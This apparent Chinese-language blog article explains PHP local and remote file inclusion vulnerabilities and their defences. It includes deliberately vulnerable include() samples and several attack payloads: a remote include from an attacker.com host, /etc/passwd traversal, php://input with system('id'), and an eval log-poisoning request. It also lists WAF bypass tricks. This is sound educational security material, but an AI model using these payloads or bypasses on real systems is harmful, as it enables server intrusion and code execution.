PHP文件包含漏洞是Web安全领域中最常见的高危漏洞之一,它允许攻击者通过操控文件路径参数来包含任意文件,进而实现敏感信息读取、远程代码执行甚至服务器沦陷。该漏洞的根本原因在于代码中未对用户输入的文件路径进行严格校验,导致攻击者可以利用include()、require()等函数加载恶意文件。据OWASP《Web安全漏洞统计报告》数据显示,文件包含漏洞在渗透测试中出现的频率约占所有Web漏洞的8%,且超过70%的此类漏洞可被用于远程代码执行攻击。因此,理解其原理并采取有效的防御措施至关重要。
PHP文件包含漏洞根据被包含文件的来源分为本地文件包含(LFI)和远程文件包含(RFI)两类。当allow_url_include配置为开启时,攻击者可以通过include('http://attacker.com/shell.txt')直接包含远程服务器上的恶意脚本。而在LFI场景中,攻击者通常利用路径遍历(如../../../etc/passwd)读取敏感文件,或结合PHP伪协议(如php://input、php://filter)执行任意代码。以下是一个典型的漏洞代码示例:
<?php $file = $_GET['page']; include($file . '.php'); ?>
这段代码直接拼接用户输入并追加扩展名,攻击者可以通过空字节截断或路径遍历绕过限制。例如请求page=../../etc/passwd%00(在PHP 5.3.4之前版本中有效)导致读取系统密码文件。下表对比了LFI和RFI的核心差异:
| 特征 | 本地文件包含 (LFI) | 远程文件包含 (RFI) |
|---|---|---|
| 文件来源 | 服务器本地文件系统 | 远程服务器(URL) |
| 前提条件 | 无特殊配置 | allow_url_include = On |
| 典型利用 | 读取配置文件、日志污染 | 直接包含恶意脚本 |
| 防御难度 | 低(需禁用危险功能) | 高(需网络层限制) |
LFI的风险并不低于RFI,因为攻击者可以结合日志文件(如Apache的access.log)上传恶意代码,再通过LFI包含该日志触发执行。
攻击者利用PHP文件包含漏洞时,通常采用以下三种经典手法:路径遍历、伪协议利用和日志注入。路径遍历是最直接的方式,通过../序列跳出文件目录限制,读取/etc/passwd或数据库配置文件。伪协议利用则更为灵活,php://filter/convert.base64-encode/resource=config.php可以将文件内容以base64形式输出,从而绕过文本显示限制。而php://input允许攻击者在POST请求体中发送PHP代码,实现类似远程包含的效果。以下是一个利用php://input执行代码的示例:
<?php include($_GET['file']); ?>
攻击者发送请求?file=php://input,并在POST体中写入<?php system('id');?>,即可执行系统命令。此外,日志注入利用Apache或Nginx的访问日志记录用户请求的特点,攻击者可以在User-Agent或URL中插入恶意代码,然后通过LFI包含日志文件触发执行。例如请求GET /<?php eval($_GET['c']);?> HTTP/1.1,服务器日志会记录该行,随后通过include('/var/log/apache2/access.log')即可执行。
Web应用防火墙(WAF)通常基于规则匹配来拦截文件包含攻击,攻击者可以通过编码、混淆、利用协议差异等方式绕过。常见的绕过技巧包括:
../编码为%2e%2e%2f,或多次编码(%252e%252e%252f)以绕过简单匹配。../时,可以尝试....//,因为某些过滤函数会替换一次../后被还原为../。%00或长度截断(如超长路径导致PHP截断),在PHP 5.3.4之前版本有效。php://filter/convert.base64-encode/resource=代替直接包含,因为WAF可能只检测include参数中的http://或../。.和/的冗余组合,如./../../或//./。下表对比了不同绕过技巧的优缺点:
| 技巧 | 成功率 | 依赖条件 | 防御难度 |
|---|---|---|---|
| URL编码 | 中等 | WAF未解码 | 低(解码后即可检测) |
| 双写 | 高 | 过滤函数仅替换一次 | 中等(需多次替换) |
| 截断 | 低(仅旧版本) | PHP版本 <5.3.4 | 低(升级版本即解决) |
| 协议差异 | 高 | WAF协议白名单不全 | 高(需全面覆盖协议) |
据安全公司Sucuri的《Web应用安全报告》指出,超过60%的WAF绕过案例中,攻击者使用了至少两种以上的组合技巧,例如先URL编码再双写。因此,防御方需要建立多层检测机制,而非依赖单一规则。
防御PHP文件包含漏洞的核心原则是:永远不要信任用户输入,并限制文件包含函数的操作范围。以下是最有效的防御措施:
php.ini中设置allow_url_include = Off,并开启open_basedir限制文件访问目录。home.php、about.php)硬编码到数组或数据库中,只接受预设值,避免任何动态路径。basename()、realpath()等函数过滤路径,并检查结果是否在允许的目录内。例如:
<?php
$allowed = array('home', 'about', 'contact');
$page = $_GET['page'];
if (in_array($page, $allowed)) {
include('pages/' . $page . '.php');
} else {
// 错误处理
}
?>
此代码将用户输入限制在预设的列表中,彻底杜绝了路径遍历和远程包含的可能性。
此外,定期更新PHP版本可以修复已知的截断漏洞和协议漏洞。同时,开启display_errors = Off避免泄露路径信息。使用Web应用防火墙时,应配置多层规则,如同时检测URL解码前后、协议白名单、以及文件扩展名合法性。
某知名内容管理系统(CMS)曾因文件包含漏洞导致大量网站被植入后门。问题出现在一个模板加载函数中,开发者使用include($_GET['template']);直接加载用户指定的模板文件。攻击者通过template=../../../../tmp/evil.txt包含上传的恶意文件,获得服务器权限。修复方案包括:
.php。basename()和realpath()组合验证路径合法性。allow_url_include并开启open_basedir。修复后,该CMS在后续多次安全审计中未再发现同类漏洞。这个案例表明,开发者在编写文件包含功能时,必须将安全视为第一优先级,而非便利性。
PHP文件包含漏洞的防御不是单一技术点的加固,而是贯穿需求分析、编码、测试和运维全流程的系统工程。通过理解攻击原理、掌握WAF绕过技巧,并实施多层防御策略,开发者可以显著降低漏洞风险,保护应用安全。
评论
加载中...